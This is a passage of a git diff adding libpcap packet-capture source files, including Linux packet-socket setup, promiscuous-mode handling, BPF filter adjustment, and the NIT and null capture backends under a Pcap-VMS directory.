PCAP_ERRBUF_SIZE, "socket: %s", + pcap_strerror(errno) ); + break; + } + + /* It seems the kernel supports the new interface. */ + handle->md.sock_packet = 0; + + /* + * Get the interface index of the loopback device. + * If the attempt fails, don't fail, just set the + * "md.lo_ifindex" to -1. + * + * XXX - can there be more than one device that loops + * packets back, i.e. devices other than "lo"? If so, + * we'd need to find them all, and have an array of + * indices for them, and check all of them in + * "pcap_read_packet()". + */ + handle->md.lo_ifindex = iface_get_id(sock_fd, "lo", ebuf); + + /* + * Default value for offset to align link-layer payload + * on a 4-byte boundary. + */ + handle->offset = 0; + + /* + * What kind of frames do we have to deal with? Fall back + * to cooked mode if we have an unknown interface type. + */ + + if (device) { + /* Assume for now we don't need cooked mode. */ + handle->md.cooked = 0; + + arptype = iface_get_arptype(sock_fd, device, ebuf); + if (arptype == -1) { + fatal_err = 1; + break; + } + map_arphrd_to_dlt(handle, arptype, 1); + if (handle->linktype == -1 || + handle->linktype == DLT_LINUX_SLL || + (handle->linktype == DLT_EN10MB && + (strncmp("isdn", device, 4) == 0 || + strncmp("isdY", device, 4) == 0))) { + /* + * Unknown interface type (-1), or a + * device we explicitly chose to run + * in cooked mode (e.g., PPP devices), + * or an ISDN device (whose link-layer + * type we can only determine by using + * APIs that may be different on different + * kernels) - reopen in cooked mode. + */ + if (close(sock_fd) == -1) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "close: %s", pcap_strerror(errno)); + break; + } + sock_fd = socket(PF_PACKET, SOCK_DGRAM, + htons(ETH_P_ALL)); + if (sock_fd == -1) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "socket: %s", pcap_strerror(errno)); + break; + } + handle->md.cooked = 1; + + if (handle->linktype == -1) { + /* + * Warn that we're falling back on + * cooked mode; we may want to + * update "map_arphrd_to_dlt()" + * to handle the new type. + */ + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "arptype %d not " + "supported by libpcap - " + "falling back to cooked " + "socket", + arptype); + } + handle->linktype = DLT_LINUX_SLL; + } + + device_id = iface_get_id(sock_fd, device, ebuf); + if (device_id == -1) + break; + + if ((err = iface_bind(sock_fd, device_id, ebuf)) < 0) { + if (err == -2) + fatal_err = 1; + break; + } + } else { + /* + * This is cooked mode. + */ + handle->md.cooked = 1; + handle->linktype = DLT_LINUX_SLL; + + /* + * XXX - squelch GCC complaints about + * uninitialized variables; if we can't + * select promiscuous mode on all interfaces, + * we should move the code below into the + * "if (device)" branch of the "if" and + * get rid of the next statement. + */ + device_id = -1; + } + + /* Select promiscuous mode on/off */ + + /* + * Hmm, how can we set promiscuous mode on all interfaces? + * I am not sure if that is possible at all. + */ + + if (device) { + memset(&mr, 0, sizeof(mr)); + mr.mr_ifindex = device_id; + mr.mr_type = promisc ? + PACKET_MR_PROMISC : PACKET_MR_ALLMULTI; + if (setsockopt(sock_fd, SOL_PACKET, + PACKET_ADD_MEMBERSHIP, &mr, sizeof(mr)) == -1) + { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "setsockopt: %s", pcap_strerror(errno)); + break; + } + } + + /* Save the socket FD in the pcap structure */ + + handle->fd = sock_fd; + + return 1; + + } while(0); + + if (sock_fd != -1) + close(sock_fd); + + if (fatal_err) + return -2; + else + return 0; +#else + strncpy(ebuf, + "New packet capturing interface not supported by build " + "environment", PCAP_ERRBUF_SIZE); + return 0; +#endif +} + +#ifdef HAVE_PF_PACKET_SOCKETS +/* + * Return the index of the given device name. Fill ebuf and return + * -1 on failure. + */ +static int +iface_get_id(int fd, const char *device, char *ebuf) +{ + struct ifreq ifr; + + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); + + if (ioctl(fd, SIOCGIFINDEX, &ifr) == -1) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "ioctl: %s", pcap_strerror(errno)); + return -1; + } + + return ifr.ifr_ifindex; +} + +/* + * Bind the socket associated with FD to the given device. + */ +static int +iface_bind(int fd, int ifindex, char *ebuf) +{ + struct sockaddr_ll sll; + int err; + socklen_t errlen = sizeof(err); + + memset(&sll, 0, sizeof(sll)); + sll.sll_family = AF_PACKET; + sll.sll_ifindex = ifindex; + sll.sll_protocol = htons(ETH_P_ALL); + + if (bind(fd, (struct sockaddr *) &sll, sizeof(sll)) == -1) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "bind: %s", pcap_strerror(errno)); + return -1; + } + + /* Any pending errors, e.g., network is down? */ + + if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &err, &errlen) == -1) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "getsockopt: %s", pcap_strerror(errno)); + return -2; + } + + if (err > 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "bind: %s", pcap_strerror(err)); + return -2; + } + + return 0; +} + +#endif + + +/* ===== Functions to interface to the older kernels ================== */ + +/* + * With older kernels promiscuous mode is kind of interesting because we + * have to reset the interface before exiting. The problem can't really + * be solved without some daemon taking care of managing usage counts. + * If we put the interface into promiscuous mode, we set a flag indicating + * that we must take it out of that mode when the interface is closed, + * and, when closing the interface, if that flag is set we take it out + * of promiscuous mode. + */ + +/* + * List of pcaps for which we turned promiscuous mode on by hand. + * If there are any such pcaps, we arrange to call "pcap_close_all()" + * when we exit, and have it close all of them to turn promiscuous mode + * off. + */ +static struct pcap *pcaps_to_close; + +/* + * TRUE if we've already called "atexit()" to cause "pcap_close_all()" to + * be called on exit. + */ +static int did_atexit; + +static void pcap_close_all(void) +{ + struct pcap *handle; + + while ((handle = pcaps_to_close) != NULL) + pcap_close(handle); +} + +void pcap_close_linux( pcap_t *handle ) +{ + struct pcap *p, *prevp; + struct ifreq ifr; + + if (handle->md.clear_promisc) { + /* + * We put the interface into promiscuous mode; take + * it out of promiscuous mode. + * + * XXX - if somebody else wants it in promiscuous mode, + * this code cannot know that, so it'll take it out + * of promiscuous mode. That's not fixable in 2.0[.x] + * kernels. + */ + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, handle->md.device, sizeof(ifr.ifr_name)); + if (ioctl(handle->fd, SIOCGIFFLAGS, &ifr) == -1) { + fprintf(stderr, + "Can't restore interface flags (SIOCGIFFLAGS failed: %s).\n" + "Please adjust manually.\n" + "Hint: This can't happen with Linux >= 2.2.0.\n", + strerror(errno)); + } else { + if (ifr.ifr_flags & IFF_PROMISC) { + /* + * Promiscuous mode is currently on; turn it + * off. + */ + ifr.ifr_flags &= ~IFF_PROMISC; + if (ioctl(handle->fd, SIOCSIFFLAGS, &ifr) == -1) { + fprintf(stderr, + "Can't restore interface flags (SIOCSIFFLAGS failed: %s).\n" + "Please adjust manually.\n" + "Hint: This can't happen with Linux >= 2.2.0.\n", + strerror(errno)); + } + } + } + + /* + * Take this pcap out of the list of pcaps for which we + * have to take the interface out of promiscuous mode. + */ + for (p = pcaps_to_close, prevp = NULL; p != NULL; + prevp = p, p = p->md.next) { + if (p == handle) { + /* + * Found it. Remove it from the list. + */ + if (prevp == NULL) { + /* + * It was at the head of the list. + */ + pcaps_to_close = p->md.next; + } else { + /* + * It was in the middle of the list. + */ + prevp->md.next = p->md.next; + } + break; + } + } + } + + if (handle->md.device != NULL) + free(handle->md.device); + handle->md.device = NULL; +} + +/* + * Try to open a packet socket using the old kernel interface. + * Returns 0 on failure. + * FIXME: 0 uses to mean success (Sebastian) + */ +static int +live_open_old(pcap_t *handle, char *device, int promisc, + int to_ms, char *ebuf) +{ + int sock_fd = -1, arptype; + struct ifreq ifr; + + do { + /* Open the socket */ + + sock_fd = socket(PF_INET, SOCK_PACKET, htons(ETH_P_ALL)); + if (sock_fd == -1) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "socket: %s", pcap_strerror(errno)); + break; + } + + /* It worked - we are using the old interface */ + handle->md.sock_packet = 1; + + /* ...which means we get the link-layer header. */ + handle->md.cooked = 0; + + /* Bind to the given device */ + + if (!device) { + strncpy(ebuf, "pcap_open_live: The \"any\" device isn't supported on 2.0[.x]-kernel systems", + PCAP_ERRBUF_SIZE); + break; + } + if (iface_bind_old(sock_fd, device, ebuf) == -1) + break; + + /* + * Try to get the link-layer type. + */ + arptype = iface_get_arptype(sock_fd, device, ebuf); + if (arptype == -1) + break; + + /* + * Try to find the DLT_ type corresponding to that + * link-layer type. + */ + map_arphrd_to_dlt(handle, arptype, 0); + if (handle->linktype == -1) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "unknown arptype %d", arptype); + break; + } + + /* Go to promisc mode if requested */ + + if (promisc) { + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); + if (ioctl(sock_fd, SIOCGIFFLAGS, &ifr) == -1) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "ioctl: %s", pcap_strerror(errno)); + break; + } + if ((ifr.ifr_flags & IFF_PROMISC) == 0) { + /* + * Promiscuous mode isn't currently on, + * so turn it on, and remember that + * we should turn it off when the + * pcap_t is closed. + */ + + /* + * If we haven't already done so, arrange + * to have "pcap_close_all()" called when + * we exit. + */ + if (!did_atexit) { + if (atexit(pcap_close_all) == -1) { + /* + * "atexit()" failed; don't + * put the interface in + * promiscuous mode, just + * give up. + */ + strncpy(ebuf, "atexit failed", + PCAP_ERRBUF_SIZE); + break; + } + did_atexit = 1; + } + + ifr.ifr_flags |= IFF_PROMISC; + if (ioctl(sock_fd, SIOCSIFFLAGS, &ifr) == -1) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "ioctl: %s", + pcap_strerror(errno)); + break; + } + handle->md.clear_promisc = 1; + + /* + * Add this to the list of pcaps + * to close when we exit. + */ + handle->md.next = pcaps_to_close; + pcaps_to_close = handle; + } + } + + /* Save the socket FD in the pcap structure */ + + handle->fd = sock_fd; + + /* + * Default value for offset to align link-layer payload + * on a 4-byte boundary. + */ + handle->offset = 0; + + return 1; + + } while (0); + + if (handle->md.clear_promisc) + pcap_close_linux(handle); + if (sock_fd != -1) + close(sock_fd); + return 0; +} + +/* + * Bind the socket associated with FD to the given device using the + * interface of the old kernels. + */ +static int +iface_bind_old(int fd, const char *device, char *ebuf) +{ + struct sockaddr saddr; + int err; + socklen_t errlen = sizeof(err); + + memset(&saddr, 0, sizeof(saddr)); + strncpy(saddr.sa_data, device, sizeof(saddr.sa_data)); + if (bind(fd, &saddr, sizeof(saddr)) == -1) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "bind: %s", pcap_strerror(errno)); + return -1; + } + + /* Any pending errors, e.g., network is down? */ + + if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &err, &errlen) == -1) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "getsockopt: %s", pcap_strerror(errno)); + return -1; + } + + if (err > 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "bind: %s", pcap_strerror(err)); + return -1; + } + + return 0; +} + + +/* ===== System calls available on all supported kernels ============== */ + +/* + * Query the kernel for the MTU of the given interface. + */ +static int +iface_get_mtu(int fd, const char *device, char *ebuf) +{ + struct ifreq ifr; + + if (!device) + return BIGGER_THAN_ALL_MTUS; + + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); + + if (ioctl(fd, SIOCGIFMTU, &ifr) == -1) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "ioctl: %s", pcap_strerror(errno)); + return -1; + } + + return ifr.ifr_mtu; +} + +/* + * Get the hardware type of the given interface as ARPHRD_xxx constant. + */ +static int +iface_get_arptype(int fd, const char *device, char *ebuf) +{ + struct ifreq ifr; + + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); + + if (ioctl(fd, SIOCGIFHWADDR, &ifr) == -1) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "ioctl: %s", pcap_strerror(errno)); + return -1; + } + + return ifr.ifr_hwaddr.sa_family; +} + +#ifdef SO_ATTACH_FILTER +static int +fix_program(pcap_t *handle, struct sock_fprog *fcode) +{ + size_t prog_size; + register int i; + register struct bpf_insn *p; + struct bpf_insn *f; + int len; + + /* + * Make a copy of the filter, and modify that copy if + * necessary. + */ + prog_size = sizeof(*handle->fcode.bf_insns) * handle->fcode.bf_len; + len = handle->fcode.bf_len; + f = (struct bpf_insn *)malloc(prog_size); + if (f == NULL) { + snprintf(handle->errbuf, sizeof(handle->errbuf), + "malloc: %s", pcap_strerror(errno)); + return -1; + } + memcpy(f, handle->fcode.bf_insns, prog_size); + fcode->len = len; + fcode->filter = (struct sock_filter *) f; + + for (i = 0; i < len; ++i) { + p = &f[i]; + /* + * What type of instruction is this? + */ + switch (BPF_CLASS(p->code)) { + + case BPF_RET: + /* + * It's a return instruction; is the snapshot + * length a constant, rather than the contents + * of the accumulator? + */ + if (BPF_MODE(p->code) == BPF_K) { + /* + * Yes - if the value to be returned, + * i.e. the snapshot length, is anything + * other than 0, make it 65535, so that + * the packet is truncated by "recvfrom()", + * not by the filter. + * + * XXX - there's nothing we can easily do + * if it's getting the value from the + * accumulator; we'd have to insert + * code to force non-zero values to be + * 65535. + */ + if (p->k != 0) + p->k = 65535; + } + break; + + case BPF_LD: + case BPF_LDX: + /* + * It's a load instruction; is it loading + * from the packet? + */ + switch (BPF_MODE(p->code)) { + + case BPF_ABS: + case BPF_IND: + case BPF_MSH: + /* + * Yes; are we in cooked mode? + */ + if (handle->md.cooked) { + /* + * Yes, so we need to fix this + * instruction. + */ + if (fix_offset(p) < 0) { + /* + * We failed to do so. + * Return 0, so our caller + * knows to punt to userland. + */ + return 0; + } + } + break; + } + break; + } + } + return 1; /* we succeeded */ +} + +static int +fix_offset(struct bpf_insn *p) +{ + /* + * What's the offset? + */ + if (p->k >= SLL_HDR_LEN) { + /* + * It's within the link-layer payload; that starts at an + * offset of 0, as far as the kernel packet filter is + * concerned, so subtract the length of the link-layer + * header. + */ + p->k -= SLL_HDR_LEN; + } else if (p->k == 14) { + /* + * It's the protocol field; map it to the special magic + * kernel offset for that field. + */ + p->k = SKF_AD_OFF + SKF_AD_PROTOCOL; + } else { + /* + * It's within the header, but it's not one of those + * fields; we can't do that in the kernel, so punt + * to userland. + */ + return -1; + } + return 0; +} + +static int +set_kernel_filter(pcap_t *handle, struct sock_fprog *fcode) +{ + int total_filter_on = 0; + int save_mode; + int ret; + int save_errno; + + /* + * The socket filter code doesn't discard all packets queued + * up on the socket when the filter is changed; this means + * that packets that don't match the new filter may show up + * after the new filter is put onto the socket, if those + * packets haven't yet been read. + * + * This means, for example, that if you do a tcpdump capture + * with a filter, the first few packets in the capture might + * be packets that wouldn't have passed the filter. + * + * We therefore discard all packets queued up on the socket + * when setting a kernel filter. (This isn't an issue for + * userland filters, as the userland filtering is done after + * packets are queued up.) + * + * To flush those packets, we put the socket in read-only mode, + * and read packets from the socket until there are no more to + * read. + * + * In order to keep that from being an infinite loop - i.e., + * to keep more packets from arriving while we're draining + * the queue - we put the "total filter", which is a filter + * that rejects all packets, onto the socket before draining + * the queue. + * + * This code deliberately ignores any errors, so that you may + * get bogus packets if an error occurs, rather than having + * the filtering done in userland even if it could have been + * done in the kernel. + */ + if (setsockopt(handle->fd, SOL_SOCKET, SO_ATTACH_FILTER, + &total_fcode, sizeof(total_fcode)) == 0) { + char drain[1]; + + /* + * Note that we've put the total filter onto the socket. + */ + total_filter_on = 1; + + /* + * Save the socket's current mode, and put it in + * non-blocking mode; we drain it by reading packets + * until we get an error (which is normally a + * "nothing more to be read" error). + */ + save_mode = fcntl(handle->fd, F_GETFL, 0); + if (save_mode != -1 && + fcntl(handle->fd, F_SETFL, save_mode | O_NONBLOCK) >= 0) { + while (recv(handle->fd, &drain, sizeof drain, + MSG_TRUNC) >= 0) + ; + save_errno = errno; + fcntl(handle->fd, F_SETFL, save_mode); + if (save_errno != EAGAIN) { + /* Fatal error */ + reset_kernel_filter(handle); + snprintf(handle->errbuf, sizeof(handle->errbuf), + "recv: %s", pcap_strerror(save_errno)); + return -2; + } + } + } + + /* + * Now attach the new filter. + */ + ret = setsockopt(handle->fd, SOL_SOCKET, SO_ATTACH_FILTER, + fcode, sizeof(*fcode)); + if (ret == -1 && total_filter_on) { + /* + * Well, we couldn't set that filter on the socket, + * but we could set the total filter on the socket. + * + * This could, for example, mean that the filter was + * too big to put into the kernel, so we'll have to + * filter in userland; in any case, we'll be doing + * filtering in userland, so we need to remove the + * total filter so we see packets. + */ + save_errno = errno; + + /* + * XXX - if this fails, we're really screwed; + * we have the total filter on the socket, + * and it won't come off. What do we do then? + */ + reset_kernel_filter(handle); + + errno = save_errno; + } + return ret; +} + +static int +reset_kernel_filter(pcap_t *handle) +{ + /* setsockopt() barfs unless it get a dummy parameter */ + int dummy; + + return setsockopt(handle->fd, SOL_SOCKET, SO_DETACH_FILTER, + &dummy, sizeof(dummy)); +} +#endif diff --git a/Pcap-VMS/pcap-vci/pcap-namedb.h b/Pcap-VMS/pcap-vci/pcap-namedb.h new file mode 100644 index 00000000..42266058 --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcap-namedb.h @@ -0,0 +1,87 @@ +/* + * Copyright (c) 1994, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the Computer Systems + * Engineering Group at Lawrence Berkeley Laboratory. + * 4. Neither the name of the University nor of the Laboratory may be used + * to endorse or promote products derived from this software without + * specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#) $Header: /tcpdump/master/libpcap/pcap-namedb.h,v 1.8 2000/07/29 07:36:43 guy Exp $ (LBL) + */ + +#ifndef lib_pcap_ethers_h +#define lib_pcap_ethers_h + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * As returned by the pcap_next_etherent() + * XXX this stuff doesn't belong in this interface, but this + * library already must do name to address translation, so + * on systems that don't have support for /etc/ethers, we + * export these hooks since they'll + */ +struct pcap_etherent { + u_char addr[6]; + char name[122]; +}; +#ifndef PCAP_ETHERS_FILE +#define PCAP_ETHERS_FILE "/etc/ethers" +#endif +struct pcap_etherent *pcap_next_etherent(FILE *); +u_char *pcap_ether_hostton(const char*); +u_char *pcap_ether_aton(const char *); + +bpf_u_int32 **pcap_nametoaddr(const char *); +#ifdef INET6 +struct addrinfo *pcap_nametoaddrinfo(const char *); +#endif +bpf_u_int32 pcap_nametonetaddr(const char *); + +int pcap_nametoport(const char *, int *, int *); +int pcap_nametoproto(const char *); +int pcap_nametoeproto(const char *); +/* + * If a protocol is unknown, PROTO_UNDEF is returned. + * Also, pcap_nametoport() returns the protocol along with the port number. + * If there are ambiguous entried in /etc/services (i.e. domain + * can be either tcp or udp) PROTO_UNDEF is returned. + */ +#define PROTO_UNDEF -1 + +/* XXX move these to pcap-int.h? */ +int __pcap_atodn(const char *, bpf_u_int32 *); +int __pcap_atoin(const char *, bpf_u_int32 *); +u_short __pcap_nametodnaddr(const char *); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/Pcap-VMS/pcap-vci/pcap-nit.c b/Pcap-VMS/pcap-vci/pcap-nit.c new file mode 100644 index 00000000..a79222a3 --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcap-nit.c @@ -0,0 +1,273 @@ +/* + * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/pcap-nit.c,v 1.42 2002/07/11 09:06:39 guy Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include +#include +#include +#include +#include +#include + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include "pcap-int.h" + +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +/* + * The chunk size for NIT. This is the amount of buffering + * done for read calls. + */ +#define CHUNKSIZE (2*1024) + +/* + * The total buffer space used by NIT. + */ +#define BUFSPACE (4*CHUNKSIZE) + +/* Forwards */ +static int nit_setflags(int, int, int, char *); + +int +pcap_stats(pcap_t *p, struct pcap_stat *ps) +{ + + /* + * "ps_recv" counts packets handed to the filter, not packets + * that passed the filter. As filtering is done in userland, + * this does not include packets dropped because we ran out + * of buffer space. + * + * "ps_drop" presumably counts packets dropped by the socket + * because of flow control requirements or resource exhaustion; + * it doesn't count packets dropped by the interface driver. + * As filtering is done in userland, it counts packets regardless + * of whether they would've passed the filter. + * + * These statistics don't include packets not yet read from the + * kernel by libpcap or packets not yet read from libpcap by the + * application. + */ + *ps = p->md.stat; + return (0); +} + +int +pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user) +{ + register int cc, n; + register struct bpf_insn *fcode = p->fcode.bf_insns; + register u_char *bp, *cp, *ep; + register struct nit_hdr *nh; + register int caplen; + + cc = p->cc; + if (cc == 0) { + cc = read(p->fd, (char *)p->buffer, p->bufsize); + if (cc < 0) { + if (errno == EWOULDBLOCK) + return (0); + snprintf(p->errbuf, sizeof(p->errbuf), "pcap_read: %s", + pcap_strerror(errno)); + return (-1); + } + bp = p->buffer; + } else + bp = p->bp; + + /* + * Loop through each packet. The increment expression + * rounds up to the next int boundary past the end of + * the previous packet. + */ + n = 0; + ep = bp + cc; + while (bp < ep) { + nh = (struct nit_hdr *)bp; + cp = bp + sizeof(*nh); + + switch (nh->nh_state) { + + case NIT_CATCH: + break; + + case NIT_NOMBUF: + case NIT_NOCLUSTER: + case NIT_NOSPACE: + p->md.stat.ps_drop = nh->nh_dropped; + continue; + + case NIT_SEQNO: + continue; + + default: + snprintf(p->errbuf, sizeof(p->errbuf), + "bad nit state %d", nh->nh_state); + return (-1); + } + ++p->md.stat.ps_recv; + bp += ((sizeof(struct nit_hdr) + nh->nh_datalen + + sizeof(int) - 1) & ~(sizeof(int) - 1)); + + caplen = nh->nh_wirelen; + if (caplen > p->snapshot) + caplen = p->snapshot; + if (bpf_filter(fcode, cp, nh->nh_wirelen, caplen)) { + struct pcap_pkthdr h; + h.ts = nh->nh_timestamp; + h.len = nh->nh_wirelen; + h.caplen = caplen; + (*callback)(user, &h, cp); + if (++n >= cnt && cnt >= 0) { + p->cc = ep - bp; + p->bp = bp; + return (n); + } + } + } + p->cc = 0; + return (n); +} + +static int +nit_setflags(int fd, int promisc, int to_ms, char *ebuf) +{ + struct nit_ioc nioc; + + memset(&nioc, 0, sizeof(nioc)); + nioc.nioc_bufspace = BUFSPACE; + nioc.nioc_chunksize = CHUNKSIZE; + nioc.nioc_typetomatch = NT_ALLTYPES; + nioc.nioc_snaplen = p->snapshot; + nioc.nioc_bufalign = sizeof(int); + nioc.nioc_bufoffset = 0; + + if (to_ms != 0) { + nioc.nioc_flags |= NF_TIMEOUT; + nioc.nioc_timeout.tv_sec = to_ms / 1000; + nioc.nioc_timeout.tv_usec = (to_ms * 1000) % 1000000; + } + if (promisc) + nioc.nioc_flags |= NF_PROMISC; + + if (ioctl(fd, SIOCSNIT, &nioc) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "SIOCSNIT: %s", + pcap_strerror(errno)); + return (-1); + } + return (0); +} + +pcap_t * +pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf) +{ + int fd; + struct sockaddr_nit snit; + register pcap_t *p; + + p = (pcap_t *)malloc(sizeof(*p)); + if (p == NULL) { + strlcpy(ebuf, pcap_strerror(errno), PCAP_ERRBUF_SIZE); + return (NULL); + } + + if (snaplen < 96) + /* + * NIT requires a snapshot length of at least 96. + */ + snaplen = 96; + + memset(p, 0, sizeof(*p)); + p->fd = fd = socket(AF_NIT, SOCK_RAW, NITPROTO_RAW); + if (fd < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "socket: %s", pcap_strerror(errno)); + goto bad; + } + snit.snit_family = AF_NIT; + (void)strncpy(snit.snit_ifname, device, NITIFSIZ); + + if (bind(fd, (struct sockaddr *)&snit, sizeof(snit))) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "bind: %s: %s", snit.snit_ifname, pcap_strerror(errno)); + goto bad; + } + p->snapshot = snaplen; + nit_setflags(p->fd, promisc, to_ms, ebuf); + + /* + * NIT supports only ethernets. + */ + p->linktype = DLT_EN10MB; + + p->bufsize = BUFSPACE; + p->buffer = (u_char *)malloc(p->bufsize); + if (p->buffer == NULL) { + strlcpy(ebuf, pcap_strerror(errno), PCAP_ERRBUF_SIZE); + goto bad; + } + return (p); + bad: + if (fd >= 0) + close(fd); + free(p); + return (NULL); +} + +int +pcap_platform_finddevs(pcap_if_t **alldevsp, char *errbuf) +{ + return (0); +} + +int +pcap_setfilter(pcap_t *p, struct bpf_program *fp) +{ + + if (install_bpf_program(p, fp) < 0) + return (-1); + return (0); +} diff --git a/Pcap-VMS/pcap-vci/pcap-nit.h b/Pcap-VMS/pcap-vci/pcap-nit.h new file mode 100644 index 00000000..941697d9 --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcap-nit.h @@ -0,0 +1,19 @@ +/* + * Copyright (c) 1990, 1994 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms are permitted + * provided that the above copyright notice and this paragraph are + * duplicated in all such forms and that any documentation, + * advertising materials, and other materials related to such + * distribution and use acknowledge that the software was developed + * by the University of California, Lawrence Berkeley Laboratory, + * Berkeley, CA. The name of the University may not be used to + * endorse or promote products derived from this software without + * specific prior written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED + * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * @(#) $Header: /tcpdump/master/libpcap/pcap-nit.h,v 1.2.1.1 1999/10/07 23:46:40 mcr Exp $ (LBL) + */ diff --git a/Pcap-VMS/pcap-vci/pcap-null.c b/Pcap-VMS/pcap-vci/pcap-null.c new file mode 100644 index 00000000..05677624 --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcap-null.c @@ -0,0 +1,80 @@ +/* + * Copyright (c) 1994, 1995, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/pcap-null.c,v 1.14 2002/07/11 09:06:41 guy Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include /* optionally get BSD define */ + +#include + +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +#include "pcap-int.h" + +static char nosup[] = "live packet capture not supported on this system"; + +int +pcap_stats(pcap_t *p, struct pcap_stat *ps) +{ + (void)snprintf(p->errbuf, sizeof(p->errbuf), "pcap_stats: %s", nosup); + return (-1); +} + +int +pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user) +{ + (void)snprintf(p->errbuf, sizeof(p->errbuf), "pcap_read: %s", 